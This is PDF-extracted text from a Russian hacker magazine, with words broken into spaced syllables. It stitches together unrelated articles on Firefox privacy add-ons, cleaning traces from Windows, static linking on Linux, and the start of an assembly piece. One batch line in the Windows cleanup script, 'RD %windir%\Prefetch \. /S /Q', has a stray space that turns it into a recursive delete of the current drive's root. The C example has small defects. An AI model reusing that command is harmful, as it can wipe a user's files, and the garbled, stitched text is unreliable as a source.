и пра вила филь тра ции. В нас трой ках мож но завес ти белый спи сок доменов,
к  которым  не  будет  при менять ся  филь тра ция  кон тента,  а  так же  импорти‐ 
ровать пра вила и нас трой ки с дру гого компь юте ра.

Пла гин uMatrix нас тра ивает ся ана логич ным обра зом — поль зовате лю дос‐ 
тупны  для  редак тирова ния  пра вила  филь тра ции  зап росов,  чер ный  спи сок
доменов,  обра щения  к  которым будут  бло киро вать ся,  а  так же  ряд  нас тро ек
при ват ности. Сре ди них — авто мати чес кое уда ление заб локиро ван ных и сес‐ 
сион ных фай лов  cookies,  очис тка  содер жимого  локаль ного  хра нили ща  бра‐ 
узе ра через задан ные про межут ки вре мени, бло киров ка всех попыток ауди та
гипер ссы лок,  зап рет  на  заг рузку  с  веб‐стра ниц  сме шан ного  кон тента
одновре мен но через HTTP и HTTPS, а так же некото рые дру гие.

Бе зус ловно, что бы разоб рать ся в парамет рах работы этих аддо нов, при‐ 
дет ся пот ратить некото рое вре мя. Но оно того сто ит: если все нас тро ить пра‐ 
виль но,  дру гие  бло киров щики  рек ламы  и  кон тен тные  филь тры  тебе
не понадо бят ся.

GOOGLE SEARCH LINK FIX
• google-search-link-fix

Это  прос той  пла гин,  бло киру ющий  сбор  ста тис тики  о  нажати ях  на  ссыл ки
в  поис ковой  выдаче  Google.  Уста нови  его,  если  не  жела ешь  переда вать
в «Кор порацию доб ра» све дения о заин тересо вав ших тебя резуль татах поис‐ 
ка. Или поль зуйся Яндексом.

FACEBOOK CONTAINER
• facebook-container

Ад дон  от  раз работ чиков  Firefox,  нап равлен ный  при цель но  про тив  Facebook.
Он бло киру ет сбор дан ных о поль зовате ле этой соци аль ной сетью не толь ко
внут ри самой Facebook, но и на всех аффи лиро ван ных сай тах, вклю чая Insta‐
gram  и Messenger.  Кро ме  того,  раз мещен ные  на  любой  веб‐стра нице фей‐ 
сбуч ные  кноп ки  Like  и  Share  отсле жива ют,  что  ты  заходил  на  эту  стра ницу,
даже если ты их не нажимал, — при усло вии, что ты залоги нен в соци аль ной
сети.  Facebook  Container  бло киру ет  эту  активность  и  уда ляет  «шпи онские»
кноп ки с веб‐стра ниц.

Ис поль зуй  дан ный  пла гин,  если  не  хочешь  делить ся  с  Мар ком  Цукер‐ 
бергом исто рией сво его веб‐сер финга и переда вать ему све дения о сво ей
активнос ти в сети.

И ЭТО ДАЛЕКО НЕ ВСЕ
Не сом ненно,  этот  спи сок  пла гинов  далеко  не  полон  —  при  желании  ты
можешь най ти мно жес тво дру гих бес плат ных рас ширений для Firefox, которые
сде лают  твой  бра узер  еще  более  безопас ным  и  позабо тят ся  о  кон фиден‐ 
циаль нос ти. Мы рас смот рели толь ко самые извес тные из них, которые могут
удов летво рить боль шую часть пот ребнос тей даже самого иску шен ного поль‐ 
зовате ля. Будем рады, если в  ком мента риях  ты поделишь ся и сво ими инте‐ 
рес ными наход ками.
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ПРИВАТНОСТЬ

Ку ки,  исто рия  посеще ний,  сох ранен ные  пароли,  дан ные
из  реес тра  вин ды —  все  эти  дра гоцен ности  могут  попасть
в чьи‐нибудь гряз ные руки, если эти руки доберут ся до кла‐ 
виату ры тво ей машины. Вот почему очень важ но уметь уда‐ 
лять логи, кеши и про чие кукисы, что бы кто‐нибудь слу чай но
не выведал информа цию, которую луч ше дер жать при себе.

Каж дый «тыж прог раммист» хотя бы раз в жиз ни стал кивал ся с прось бами зна‐ 
комых,  малоз накомых  и  про чих  сыновей маминой  под руги  «почис тить  комп,
потому  что  тор мозит».  Однажды  и  мне  при нес  такой  ноут  очень  солид ный
и  серь езный  на  вид  дядеч ка. Машина  ока залась  зат рояне на  свер ху  донизу,
а добыва емой скры тыми май нерами крип ты впол не хва тило бы на то, что бы
удво ить  ВВП  какой‐нибудь  неболь шой  афри кан ской  стра ны.  Тай ну  про‐ 
исхожде ния это го зоопар ка име ни Дже раль да Дар релла при откры ла хис тори
бра узе ра: вла делец бука ока зал ся пос тоян ным кли ентом дамочек не слиш ком
тяжело го поведе ния и любите лем домаш них живот ных в самом неп ригляд ном
смыс ле. Мораль этой бас ни прос та и незатей лива,  как пес ни  груп пы «Блес‐ 
тящие»:  хочешь  пус тить  за  кла виату ру  какого‐нибудь  отмо рожен ного  пан ка
вро де меня, сна чала хорошень ко при берись за собой. А о том, как это сде‐ 
лать наилуч шим обра зом, мы сей час и погово рим.

ЗАБЫВАЕМ НЕДАВНЕЕ ПРОШЛОЕ
Вин да, слов но роман тичная барыш ня, береж но хра нит теп лые вос помина ния
о  недав но  откры тых  юзе ром  докумен тах  и  запущен ных  прог раммах.  Что бы
зас тавить ее забыть о былом и начать жизнь с чис того лис та, мож но вос поль‐ 
зовать ся какой‐нибудь под ходящей соф тиной, но для нас тояще го ков боя это,
понят но,  заш квар.  Есть  гораз до  более  прос той  и  дей ствен ный  метод  —
без вся ких там хит рых ути лит и про чего ламерс тва.

Жми  Windows  +  R  и  в  открыв шемся  окош ке  набирай  ,  пос ле  чего
не  забудь  нажать  Enter.  Перед  тобой  —  спи сок  всех  фай лов  и  папок,
к  которым  текущий поль зователь обра щал ся  в  пос леднее  вре мя. Выделя ем
содер жимое этой пап ки нажати ем Ctrl + A и сме ло жмем Del.

recent

Те перь ана логич ным обра зом вычис ти сле дующие пап ки:
• %appdata%\microsoft\windows\recent\automaticdestinations\

• %appdata%\microsoft\windows\recent\CustomDestinations

Там хра нят ся пути к фай ловым объ ектам, исполь зуемым при ложе ниями Win‐
dows.  Что бы  авто мати зиро вать  про цесс,  мож но  исполь зовать  вот  такой
скрипт:

@ECHO OFF
TITLE ReCeNT FiLEs cLEanUp
del /F /Q %APPDATA%\Microsoft\Windows\Recent\*
del /F /Q %APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\*
del /F /Q %APPDATA%\Microsoft\Windows\Recent\CustomDestinations\*
PAUSE

Сле дует  сох ранить  скрипт  в  прос том  тек сто вом фай ле,  прис воить  ему  рас‐ 
ширение    и  запус кать  вся кий раз,  ког да  у  тебя  воз никнет  игри вое  нас‐ 
тро ение.

.bat

Что бы в Windows 10 отклю чить показ час то исполь зуемых прог рамм в глав‐ 
ном меню,  наж ми Windows  +  R,  набери  в  открыв шемся  поле 

, в окне «Парамет ры» щел кни кры сой на знач ке «Пуск», пос‐ 
ле  чего  отклю чи  фун кции  «Показы вать  недав но  добав ленные  при ложе ния»,
«Показы вать наибо лее час то исполь зуемые при ложе ния» и «Показы вать пос‐ 
ледние откры тые эле мен ты в спис ках перехо дов меню „Пуск“».

ms‐settings:
personalization

От клю чаем все лиш нее в глав ном меню Windows 10

На пос ледок мож но грох нуть хис тори фай лового менед жера Windows, которую
он  пиха ет  пов сюду:  в  адресную  стро ку,  в  вир туаль ную  пап ку  «Быс трый  дос‐ 
туп», показы вает, если щел кнуть пра вой кла вишей мыши на знач ке запущен‐ 
ного  про вод ника  в  панели  задач,  и  даже  исполь зует  для  авто запол нения
в  окош ке  «Выпол нить».  Запус каем  про вод ник,  откры ваем  вклад ку  «Вид»
и жмем кноп ку «Парамет ры». В раз деле «Кон фиден циаль ность» сбра сыва ем
оба флаж ка и жам каем на кноп ку «Очис тить». Чис тота — чис то «Тайд»!

Очи щаем исто рию «Полуп ровод ника»

Бы ло бы очень  неп лохо,  если бы  вин да  все‐таки  научи лась  самос тоятель но
при бивать лиш ние фай лы пос ле завер шения сес сии юзе ра. Это мож но нас‐ 
тро ить с помощью локаль ных груп повых политик. Наж ми Windows + R, набери
в окне «Выпол нить» стро ку  , не забудь Enter. Открой раз дел «Кон‐ 
фигура ция  поль зовате ля  →  Адми нис тра тив ные  шаб лоны  →  Меню  «Пуск»
и панель задач» и вклю чи перечис ленные ниже полити ки:

gpedit.msc

«Очис тить жур нал недав но откры вав шихся докумен тов при выходе»;•
«Очис тка  спис ка  недав но  исполь зовав шихся  прог рамм  для  новых  поль‐ 
зовате лей»;

•

«Очис тить уве дом ления на плит ке при выходе»;•
«Уда лить спи сок прог рамм, зак реплен ных в меню „Пуск“»;•
«Уда лить спи сок час то исполь зуемых прог рамм в меню „Пуск“»;•
«Отклю чить сле жение за дей стви ями поль зовате ля»;•
«Не хра нить све дения о недав но откры вав шихся докумен тах»;•
«Уда лить меню „Недав ние докумен ты“ из меню „Пуск“»;•
«Не отоб ражать и не отсле живать эле мен ты перехо дов в спис ках уда лен‐ 
ных рас положе ний»;

•

«Уда лить спи сок „Недав но добав ленные“ из меню „Пуск“».•

С помощью локаль ных политик мож но научить вин ду при бирать за собой

УДАЛЯЕМ ВРЕМЕННЫЕ ФАЙЛЫ
Вре мен ные фай лы не толь ко занима ют мес то на дис ке  (которо го и без того
никог да не хва тает), но и порой содер жат мно го полез ной инфы. Тебе навер‐ 
няка  доводи лось  вос ста нав ливать  из  .tmp‐фай лов  вор дов ские  докумен ты,
ког да  у  юзе ра  неожи дан но  закан чивалось  элек три чес тво,  а  заранее  купить
бес перебой ник  он  пож мотил ся.  Понят но,  что  ана логич ную  опе рацию может
при желании про делать кто угод но.

«Десят ка» хра нит вре мен ные фай лы в нес коль ких пап ках,  которые мож но
открыть, наб рав соот ветс тву ющий путь в окош ке «Выпол нить» (Windows + R):

 (она же  ) — вре‐ 
мен ные фай лы поль зовате лей;

• %temp% C:\Users\%Username%\AppData\Local\Temp

 — вре мен ные фай лы самой вин ды;• %windir%\temp

  —  кеш  фай лов  для  уско рения  заг рузки  опе раци‐ 
онной сис темы и при ложе ний.

• %windir%\Prefetch

Мож но  почис тить  содер жимое  этих  папок  вруч ную,  а  мож но  исполь зовать
скрипт:

@ECHO OFF
TITLE TeMp0RaRY F1Les re:MOVeR
RD %TEMP%\. /S /Q
RD %windir%\temp\. /S /Q
RD %windir%\Prefetch \. /S /Q
PAUSE

При запус ке скрипт уда лит все вре мен ные фай лы, которые в дан ный момент
не  заняты  дру гими  про цес сами.  Мож но  запус кать  его  вруч ную  или  по  рас‐ 
писанию. А мож но сде лать то же самое с помощью гра фичес кого, изви няюсь
за  выраже ние,  интерфей са  поль зовате ля.  Открой  глав ное  меню  и  в  окне
«Парамет ры»  перей ди  в  раз дел  «Сис тема →  Память». Щел кни  по 
«Вре мен ные  фай лы»,  затем  уста нови  все  флаж ки  на  сле дующем  экра не
и наж ми «Уда лить фай лы».

надписи

Чис тим вре мен ные фай лы

УДАЛЯЕМ КЕШ И ХИСТОРИ БРАУЗЕРОВ
Вин да хра нит вре мен ные интернет‐фай лы поль зовате ля в папоч ке 

,  а  кукисы —  в 
. К обе им пап кам у юзе ра нет дос тупа даже под локаль ным

адми ном — эти огра ниче ния вве дены в целях безопас ности. Поэто му содер‐ 
жимое кеша и фай лы cookies мож но вычис тить вруч ную, бла го нас трой ки бра‐ 
узе ров поз воля ют это делать лег ко и неп ринуж денно.

%USERPRO‐
FILE%\Local Settings\Temporary Internet Files %USER‐
PROFILE%\Cookies

Edge
Нас ледник Internet Explorer — прог рамма Edge слу жит толь ко для того, что бы
поль зовате ли Windows 10 име ли воз можность ска чать нор маль ный бра узер.
Тем  не  менее  для  поряд ка  сле дует  упо мянуть  и  его:  щел кни  по  кноп ке  […]
в  пра вом  вер хнем  углу  окна  Edge,  выбери  в  открыв шемся  спис ке  пункт
«Парамет ры»,  в  нем  —  «Кон фиден циаль ность  и  безопас ность».  Наж ми
на кноп ку «Выбери те, что нуж но очис тить» в раз деле «Очис тить дан ные бра‐ 
узе ра», уста нови все флаж ки и наж ми на кноп ку «Очис тить».

Уда ляем дан ные из Microsoft Edge

Firefox
От крой меню щел чком мыши на соот ветс тву ющей кноп ке в пра вом вер хнем
углу  окна  бра узе ра  и  в  появив шемся  спис ке  выбери  «Нас трой ки»,  затем —
«При ват ность и защита». Най ди раз дел «Куки и дан ные», наж ми «Уда лить дан‐ 
ные», уста нови в открыв шемся окне все флаж ки и наж ми «Уда лить».

Уда ляем дан ные из Firefox

Chrome
Здесь тоже нуж но щел кнуть по кноп ке в пра вом вер хнем углу, перей ти в раз‐ 
дел  «Нас трой ки →  Кон фиден циаль ность  и  безопас ность →  Очис тить  исто‐ 
рию». В открыв шемся окне выбери в меню пункт «Все вре мя», уста нови соот‐ 
ветс тву ющие флаж ки и наж ми «Уда лить дан ные».

Уда ляем дан ные из Chrome

По умол чанию Chrome уда ляет все дан ные и локаль но, и из про фай ла Google,
если поль зователь залоги нен в акка унте. Что бы сох ранить исто рию бра узе ра
и кукисы в обла ке Google, перед очис ткой хра нили ща бра узе ра нуж но вый ти
из учет ной записи.

Opera
Здесь  схе ма дей ствий  ана логич на:  кноп ка  в  пра вом  вер хнем  углу —  кноп ка
«Очис тить»  в  раз деле  «Кон фиден циаль ность  и  безопас ность»,  пос ле  чего
нуж но выб рать в меню пункт «Все вре мя», уста новить флаж ки и нажать «Уда‐ 
лить дан ные».

Яндекс.Браузер
Здесь  нуж но  нажать  кноп ку  «Нас трой ки  Яндекс.Бра узе ра»  в  самой  вер хней
панели, перей ти в раз дел «Исто рия» и щел кнуть по над писи «Очис тить исто‐ 
рию»  сле ва  вни зу.  Появит ся  уже  зна комое  окош ко  с  выбором  пери ода
и флаж ками  под лежащих  уда лению  типов  дан ных. Выбира ем  нуж ные  пун кты
и жмем «Очис тить».

ЧИСТИМ РЕЕСТР
В  сис темном  реес тре  Windows  хра нит ся  мно го    полез ной
информа ции, которую мож но исполь зовать с недоб рыми намере ниями. Это,
нап ример, спи сок недав но под клю чав шихся к ком пу USB‐девай сов или мес‐ 
тополо жение фай лов.

вся кого  тре ша

Проб лема  в  том,  что  изме нить,  а  тем  более  уда лить  некото рые  клю чи
реес тра невоз можно даже из‐под учет ки адми на, да и работа с ним вруч ную
тре бует  слиш ком  мно го  вре мени  и  уси лий.  Что бы  сэконо мить  пару  лиш них
часов на что‐нибудь более веселое, мож но исполь зовать для очис тки реес‐ 
тра какую‐нибудь бес плат ную прог рамму. Нап ример,  .Little Registry Cleaner

Соф тина  доволь но  прос тая  в  исполь зовании,  если  не  счи тать  того,  что
для  работы  ей  тре бует ся  .NET  Framework.  В  левой  час ти  окна  Little  Registry
Cleaner  показа ны  раз делы  реес тра  и  катего рии  хра нящих ся  в  них  дан ных.
Кноп ка  «Ска ниро вание  реес тра»  запус кает  поиск  оши бок  и  лиш них  клю чей,
которые мож но уда лить с помощью кноп ки «Устра нение непола док».

Прог рамма для чис тки реес тра Little Registry Cleaner

К  сло ву,  с  помощью  меню  «Инс тру мен ты»  мож но  запус тить  удоб ную  тул зу
«Менед жер авто заг рузки», поз воля ющую вычис тить из авто запус ка все лиш‐ 
нее, — нуж ные изме нения будут вне сены в реестр авто мати чес ки.

Еще  одна  прог рамма  для  очис тки  хра нящих ся  в  реес тре  лиш них  дан ных
называ ется  . Исполь зовать ее даже про ще, чем ковырять отвер‐ 
ткой в ухе: запус каешь соф тину, уста нав лива ешь фла жок «Про извести реаль‐ 
ную очис тку» и нажима ешь на кноп ку «Очис тка».

USB Oblivion

Так работа ет USB Oblivion

Пос ле это го прог рамма переза пус тится под адми ном, оста новит меша ющие
ей жить служ бы Windows и уда лит из реес тра все дан ные, которые могут нес ти
в  себе  даже  намек  на  кон фиден циаль ность.  Пос ле  завер шения  это го  уто‐ 
митель ного про цес са ути лита перезаг рузит сис тему, не пугай ся.

УДАЛЯЕМ КЕШ DNS
DNS —  это  не  толь ко  сеть магази нов,  тор гующих  компь ютер ным барах лом,
но и сис тема адре сации домен ных имен в этих ваших интерне тах. Все обра‐ 
щения  к  DNS‐сер верам  кеширу ются,  при чем  сис тема  хра нит  их  столь  же
береж но,  как  бабуш ка —  пол зунки  сво их  любимых  вну ков.  Что бы  почис тить
кеш DNS, выпол ни кон соль ную коман ду  .ipconfig /flushdns

ПОСЛЕСЛОВИЕ
Ко неч но, все перечис ленные выше дей ствия мож но выпол нить и с помощью
все воз можных спе циали зиро ван ных прог рамм вро де какой‐нибудь 

. Но лич но я им не доверяю: во‐пер вых, бес плат ные ути литы час то тащат
за  собой  кучу  рек ламно го  соф та,  во‐вто рых,  уда ляют  информа цию  они
весь ма изби ратель но,  что‐то пери оди чес ки  упус кая, а в‐треть их, пос ле 

    исполь зовать  подоб ные  инс тру мен ты  порой
себе дороже.

Wise care
365

дерь
кри‐ 

миналь ных ис торий  с  CCleaner

Го раз до надеж ней все делать вруч ную или исполь зовать час тичную авто‐ 
мати зацию  с  помощью  скрип тов,  при меры  которых  я  при водил  выше.  Соб‐ 
рать из них один уни вер саль ный скрипт ты можешь и сам в качес тве домаш‐ 
него задания.
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КОДИНГ

Мно гие  поль зовате ли  Linux  пред почита ют
уста нав ливать прог раммы из репози тори ев
с  помощью  встро енно го  менед жера
пакетов,  а  все  про чие  спо собы  рас смат‐ 
рива ют как вынуж денную меру. Одна ко раз‐ 
работ чики  дис три бути вов,  оче вид но,
не могут вклю чить в репози тории все прог‐ 
раммы  в  мире,  а  сами  авто ры  прог рамм
тоже  не  всег да могут  или  хотят  под держи‐ 
вать  пакеты  под  мно жес тво  дис три бути вов
и их вер сий.

В  пос ледние  годы  незави симые  от  дис три бути ва  решения  для  уста нов ки
пакетов набира ют популяр ность: к 0install с его дав ней исто рией при бави лись
более новые Flatpak и Snap, да и в Steam игр для Linux ста новит ся боль ше.

Удоб нее все го может быть обой тись без уста нов ки вооб ще — прос то ска‐ 
чать  файл,  сде лать  его  исполня емым  с  помощью    и  запус тить.
В этой статье мы рас смот рим, почему это воз можно и как это реали зовать.

chmod  +x

ДВОИЧНАЯ СОВМЕСТИМОСТЬ В СИСТЕМАХ НА ОСНОВЕ LINUX
Час то  мож но  услы шать,  что  в  Linux  пло хо  с  дво ичной  сов мести мостью.
При этом люди име ют в виду, что пакет из одной вер сии дис три бути ва Linux
порой невоз можно пос тавить на дру гую, — и в этом они пра вы. Одна ко само
утвер жде ние о пло хой дво ичной сов мести мос ти вер сий Linux невер но.

Нуж но вспом нить,  что Linux — это  толь ко ядро, а вся опе раци онная сис‐ 
тема сос тоит из ядра, раз деля емых биб лиотек и прог рамм. Биб лиоте ки мож‐ 
но  раз делить  на  стан дар тные  биб лиоте ки  язы ков  (нап ример,  libc,  libstd++)
и сто рон ние биб лиоте ки  (нап ример, GTK, Qt).  Так  вот,  при чиной сло ман ной
дво ичной сов мести мос ти, как пра вило, ока зыва ются имен но сто рон ние биб‐ 
лиоте ки.

Гра ницы  ABI,  то  есть  мес та,  где  что‐то  может  сло мать ся,  зависят
от метода ком понов ки (linking): ста тичес кого или динами чес кого.

Гра ницы ABI при ста тичес кой и динами чес кой ком понов ке

При  динами чес кой  ком понов ке  ста биль ным  дол жен  оста вать ся  ABI  всех
задей ство ван ных  биб лиотек. При  этом ABI  ядра может менять ся,  если биб‐ 
лиоте ки  это  ком пенси руют.  При  ста тичес кой  ком понов ке  важ на  толь ко  ста‐ 
биль ность ABI ядра. Рас смот рим, как с этим в Linux.

Совместимость библиотек
ABI биб лиоте ки — это набор сим волов, которые она экспор тиру ет. Может ли
он быть ста биль ным? Да, реали зация фор мата   в Linux под держи вает 

. С помощью это го механиз ма биб лиоте ки могут пре‐ 
дос тавлять нес коль ко вер сий одной и той же фун кции с раз ными сиг натура ми
и поведе нием.

ELF вер‐ 
сиони рова ние сим волов

Оче вид ный  недос таток  это го  под хода  —  невоз можно  уда лить  из  биб‐ 
лиоте ки  ста рый  код  без  рис ка  сло мать  сов мести мость.  Каж дый  раз,  ког да
сиг натура  или  поведе ние  фун кции  меня ется,  автор  дол жен  соз дать  копию
ста рой  фун кции.  Кро ме  того,  ука зывать  соот ветс твие  имен  фун кций
в исходном коде и вер сий сим волов этих фун кций в дво ичном — 

.
обя зан ность

раз работ чика
Не у каж дого раз работ чика есть вре мя и воз можность под держи вать сов‐ 

мести мость  таким  обра зом.  Кро ме  того,  радикаль ные  изме нения  во  внут‐ 
реннос тях  биб лиоте ки  могут  сде лать  этот  под ход  совер шенно  неп рактич‐ 
ным — при дет ся, по сути, собирать один дво ичный файл из нес коль ких вер‐ 
сий исходно го кода.

Имен но  из‐за  идеи  сде лать  как  мож но  боль ше  биб лиотек  общи ми
для  всех  пакетов мы  и  не можем  пос тавить  пакет  из Debian  9  на  10  или  из
CentOS 6 на 8 — сто рон ние биб лиоте ки не вхо дят в пакет, а их ABI не оста‐ 
ется неиз менным меж ду вер сиями.

Од нако  раз работ чики  GNU  libc  серь езно  отно сят ся  к  сов мести мос ти
и  вер сиони руют  все  сим волы.  Бла года ря  это му,  если  соб рать  прог рамму
на машине со ста рой вер сией glibc, она будет работать с более новыми (но
не наобо рот).

Совместимость версий ядра
ABI  ядра  пред став ляет  собой  сог лашение  о  сис темных  вызовах,  а  так же
номера  и  порядок  аргу мен тов  отдель ных  вызовов.  К  при меру,  что бы  поп‐ 
росить ядро выпол нить   — сис темный вызов для записи дан ных в файл,
нуж но помес тить в один регистр про цес сора номер это го вызова, а в три дру‐ 
гих  регис тра —  номер  фай лового  дес крип тора,  ука затель  на  буфер  с  дан‐ 
ными  и  раз мер  дан ных  в  бай тах.  Любая  фун кция  для  записи  в  файл
или вывода тек ста на экран (то есть записи в фай лы stdout и stderr с дес крип‐ 
торами 1 и 2 соот ветс твен но) — обер тка к это му вызову.

write

Са мый  низ кий  уро вень  стан дар тной  биб лиоте ки  любого  язы ка —  набор
обер ток  к  сис темным  вызовам.  Если  изме нит ся  ABI  ядра,  перес танут
работать  все  биб лиоте ки.  К  счастью,  в  Linux  такого  не  про исхо дит  —
интерфейс  сис темных  вызовов  исклю читель но  ста билен.  Линус  Тор валь дс
стро го  сле дит  за  соб людени ем  сов мести мос ти  и    на  всех,  кто  ее
пыта ется слу чай но или намерен но сло мать.

ру гает ся

Бла года ря  такой  полити ке  любая  прог рамма  из  вре мен  ядра  2.6  будет
нор маль но работать и на 5.x, если она не исполь зует никакие раз деля емые
биб лиоте ки.

Бо лее  того,  новые  прог раммы  могут  работать  на  ста рых  ядрах,  если
исполь зуют толь ко ста рые сис темные вызовы.

А что в других системах?
Из рас простра нен ных  сво бод ных Unix‐подоб ных  сис тем Linux — единс твен‐ 
ная с такими гаран тиями сов мести мос ти ABI ядра.

Имен но  поэто му  для  Linux  сущес тву ет  мно жес тво  аль тер натив ных  стан‐ 
дар тных  биб лиотек  язы ка C  (musl,  dietlibc,  uclibc,  newlib...).  По  этой  же  при‐ 
чине FreeBSD реали зует дво ичную сов мести мость с Linux, но не наобо рот —
FreeBSD не дает гаран тий ста биль нос ти ABI меж ду релиза ми.

Под дер жка  вер сиони рова ния  сим волов  в  GNU  libc  тоже  нетипич на
для реали заций стан дар тной биб лиоте ки.

Та ким обра зом, воз можнос тей для дво ичной сов мести мос ти в Linux боль‐ 
ше, чем во мно гих дру гих сис темах, — нуж но толь ко ими поль зовать ся.

Выводы
Из все го ска зан ного вид но, что ста тичес кая сбор ка — залог сов мести мос ти
с  любой  сис темой  на  осно ве  Linux,  при чем  и  с  более  новыми  ядра ми,  и  с
более ста рыми.

Аль тер натив ный под ход —    тоже поз воля ет  соб рать  все в один
файл,  но  этот  файл  на  деле  пред став ляет  собой  сжа тый  образ  SquashFS
с исполня емым фай лом и динами чес кими биб лиоте ками внут ри. Увы, инс тру‐ 
мен ты авто мати чес кого поис ка и упа ков ки всех нуж ных биб лиотек кап ризны,
и  деталь ное  рас смот рение  это го  под хода  не  помес тится  в  рам ки  нашей
статьи. Мы сос редото чим ся на ста тичес кой ком понов ке.

AppImage

ПРАКТИКА
Для при мера мы исполь зуем нес ложную прог рамму, которая про веря ет соот‐ 
ветс твие стро ки регуляр ному выраже нию. Мы соберем ее нес коль кими раз‐ 
ными спо соба ми и пос мотрим, как убе дить ся, что файл вышел дей стви тель но
ста тичес кий.

Собираем статические файлы с GNU libc
Для  работы  с  регуляр ными  выраже ниями мы исполь зуем биб лиоте ку  .
Сох раним сле дующий код в файл  :

PCRE
match.c

#include <stdio.h>
#include <string.h>
#include <pcre.h>

         int main(int argc, char** argv) {
         if(argc < 2) {
           fprintf(stderr, "Usage: %s <regex> <string>\n", argv[0]);
       exit(1);
   }

         char* regex = argv[1];
         char* str = argv[2];

     int offsets[1];
     pcre *re;
     int res;
       const char *error;
     int erroffset;

               re = pcre_compile(regex, 0, &error, &erroffset, NULL);
                     res = pcre_exec(re, NULL, str, strlen(str), 0, 0, offsets, 1);

     return res;
}

Прог рамма при нима ет  регуляр ное  выраже ние  и  про изволь ную  стро ку.  Если
стро ка соот ветс тву ет это му выраже нию, прог рамма завер шает ся с кодом 0.

 

 

 
yes
$ ./match '^\d+[a‐z]?$' '212850a' && echo yes

Для начала соберем прог рамму самым «обыч ным» обра зом.

 

 

 
 

    linux‐vdso.so.1 (0x00007ffc0ec5d000) 
    libpcre.so.1 => /lib64/libpcre.so.1 (0x00007fe700e24000) 
    libc.so.6 => /lib64/libc.so.6 (0x00007fe700c5a000) 
    libpthread.so.0 => /lib64/libpthread.so.0 (0x00007fe700c38000) 
    /lib64/ld‐linux‐x86‐64.so.2 (0x00007fe700ed5000)

$ gcc ‐o match ‐lpcre ./match.c
$ ldd ./match

По умол чанию GCC исполь зует динами чес кую ком понов ку, поэто му в выводе
коман ды   мы видим зависи мость от  .ldd libpcre.so

Ес ли  ты  хочешь  прос то  про верить,  динами чес кий файл  или  ста тичес кий,
дос таточ но и ути литы  .file

 

 

 
./match: ELF 64‐bit LSB executable, x86‐64, version 1 (SYSV), dynamical‐
ly linked, interpreter /lib64/ld‐linux‐x86‐64.so.2, 
BuildID[sha1]=9e2c84368501419dc6da681aa0f0520950ad896a, for GNU/Linux 
3.2.0, not stripped

$ file ./match

Те перь перей дем к ста тичес кой сбор ке. Для это го нуж но убе дить ся, что в тво‐ 
ей сис теме есть ста тичес кая вер сия PCRE. Тра дици онное рас ширение фай‐ 
лов ста тичес ких биб лиотек —  . В сис темах на осно ве Debian боль шинс тво
пакетов  с  биб лиоте ками  содер жат  и  ста тичес кую,  и  динами чес кую  вер сии.
В  сис темах  семей ства  Red  Hat  ста тичес кие  вер сии  биб лиотек  час то  живут
в  отдель ных  пакетах.  На  моей  Fedora  перед  сбор кой  это го  при мера  нуж но
выпол нить  .

.a

sudo dnf install glibc‐static pcre‐static
Тон кий момент — при ста тичес кой сбор ке порядок сле дова ния аргу мен‐ 

тов ста новит ся важ ным и файл с прог раммой дол жен идти   всех биб лиотек.
Наив ное добав ление опции   к прош лой коман де вызовет ошиб ку.

до

‐static

 

 

 
/usr/bin/ld: /tmp/ccdiyqgc.o: in function 'main': 
match.c:(.text+0x72): undefined reference to 'pcre_compile' 
/usr/bin/ld: match.c:(.text+0xae): undefined reference to 'pcre_exec' 
collect2: error: ld returned 1 exit status

$ gcc  ‐o match ‐static ‐lpcre ./match.c

Од нако и коман да   будет не сов‐ 
сем вер ной. При динами чес кой ком понов ке GCC (вер нее, GNU ld, которую он
выз вал) сам разоб рался, что  libpcre зависит от  libpthread (биб лиоте ки POSIX
threads). Теперь же нам при дет ся ука зать ее вруч ную. Но с вер ным набором
и поряд ком опций мы наконец получим ста тичес кий исполня емый файл.

gcc ./match.c ‐o match ‐static ‐lpcre

 

 

 
 

./match: ELF 64‐bit LSB executable, x86‐64, version 1 (GNU/Linux), stat‐
ically linked, BuildID[sha1]=3f816f2c426e417b27de3ac2cf2cfc28ad989889, 
for GNU/Linux 3.2.0, not stripped, too many notes (256) 

 
    not a dynamic executable

$ gcc  ./match.c ‐o match ‐static ‐lpcre ‐lpthread
$ file ./match

$ ldd ./match

Статическая GNU libc и NSS
В  ста тичес кой  вер сии  GNU  libc  есть  серь езный  под водный  камень  —  она
не сов сем ста тичес кая. Дело в том, что биб лиоте ки для раз решения сетевых
имен — libnss и ее ком понен ты —  , даже если сам
файл соб ран ста тичес ки.

под гру жают ся динами чес ки

Для прог раммы из нашего при мера это не проб лема, пос коль ку она вов се
не исполь зует сеть. Не будет это проб лемой и для сетевых прог рамм, если
запус кать их на сис темах, где есть GNU libc такой же или более све жей вер‐ 
сии.

Од нако  во  встра иваемых  сис темах  и  обра зах  initrd  этот  нюанс  при дет ся
учи тывать. Я сам узнал об этом, ког да соб рал образ initrd для заг рузки по сети
через PXE и обна ружил, что Wget из BusyBox работа ет толь ко по IP и не спо‐ 
собен раз решать име на хос тов.

Ес ли GNU libc в целевой сис теме нет, то нуж но исполь зовать аль тер натив‐ 
ную стан дар тную биб лиоте ку язы ка C.

Альтернативные библиотеки
Од на из самых популяр ных аль тер натив ных биб лиотек —  . Ее исполь зует
Alpine Linux. Кро ме того, некото рые ком пилято ры дру гих язы ков пре дос тавля‐ 
ют опцию свя зыва ния с ней вмес то GNU libc. Такая опция есть в   и  .

musl

Rust OCaml
И в Debian, и в Fedora с вер сии 32 при сутс тву ет пакет  . Он пре‐ 

дос тавля ет  обер тку  к  GCC,  которая  авто мати чес ки  исполь зует  musl  вмес то
GNU libc. Исполь зование не отли чает ся от обыч ного GCC. Прос тей ший при‐ 
мер:

musl‐gcc

musl‐gcc   ‐static ‐o hello ./hello.c 

Ос новная  слож ность  под хода  в  том,  что  исполь зовать  дво ичные  пакеты
из  дис три бути ва  с  такой  обер ткой  не  вый дет,  если  толь ко  сам  дис три бутив
не  исполь зует  ее  по  умол чанию.  При дет ся  соб рать  биб лиоте ки  для  нее,
и некото рые могут так и не соб рать ся. Зато и исполня емые фай лы на самом
деле не зависят ни от чего, кро ме ABI ядра.

ЗАКЛЮЧЕНИЕ
Ста тичес кая  ком понов ка,  безус ловно,  усложня ет  сбор ку,  но  при  этом обес‐ 
печива ет сов мести мость и с будущи ми, и с прош лыми вер сиями ядра Linux.
Так что, если ты хочешь рас простра нять свою прог рамму в соб ранном виде,
эти уси лия оку пят ся.
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КОДИНГ

На ассем бле ре ты можешь хра нить перемен ные дву мя спо‐ 
соба ми: в регис трах и в памяти. С регис тра ми все понят но.
